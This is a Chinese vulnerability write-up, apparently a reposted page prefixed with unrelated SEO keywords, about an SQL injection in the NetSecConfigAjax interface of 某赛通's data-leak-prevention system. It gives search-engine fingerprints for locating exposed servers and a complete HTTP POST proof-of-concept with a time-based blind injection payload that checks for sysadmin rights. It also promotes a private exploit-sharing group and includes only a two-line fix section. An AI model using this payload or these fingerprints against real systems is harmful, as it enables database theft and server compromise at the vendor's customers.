哪些网站是用wordpress搭建的,浙江网站制作公司,wordpress 多功能插件,淘客网站要备案0x01 产品简介
某赛通新一代数据泄露防护系统#xff08;简称 DLP#xff09;#xff0c;以服务企事业单位进行数据资产梳理、数据安全防护为目标。系统采用平台化管理#xff0c;将终端DLP、网络DLP、邮件DLP、存储扫描DLP、API 接口DLP 进行统一管理#xff0c;模块化控…0x01 产品简介
某赛通新一代数据泄露防护系统简称 DLP以服务企事业单位进行数据资产梳理、数据安全防护为目标。系统采用平台化管理将终端DLP、网络DLP、邮件DLP、存储扫描DLP、API 接口DLP 进行统一管理模块化控制。将对数据进行分类分级扫描实现终端数据资产梳理、文件服务器数据梳理、数据库数据资产梳理、数据加密防护、数据外发监测、终端运维管理、邮件外发控制、数据水印、端口管控。
0x02 漏洞概述
某赛通数据泄露防护(DLP)系统NetSecConfigAjax接口处存在sql注入漏洞攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息例如管理员后台密码、站点的用户个人信息之外甚至在高权限的情况可向服务器中写入木马进一步获取服务器系统权限。
0x03 搜索引擎
bodyCDGServer3 || title电子文档安全管理系统 || certesafenet || body/help/getEditionInfo.jsp || body/CDGServer3/index.jsp0x04 漏洞复现
POST /CDGServer3/NetSecConfigAjax;Service HTTP/1.1
Host:
Cache-Control: max-age0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Cookie: JSESSIONIDBFFA734FFFC1D940FA2710CD18F4CA23
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 99commandupdateNetSecstate123;if (select IS_SRVROLEMEMBER(sysadmin))1 WAITFOR DELAY 0:0:10--sqlmap验证
0x05 工具批量
nuclei afrog xray POC脚本获取
请使用VX扫一扫加入内部POC脚本分享圈子
0x06 修复建议
1、关闭互联网暴露面或接口设置访问权限 2、升级至安全版本
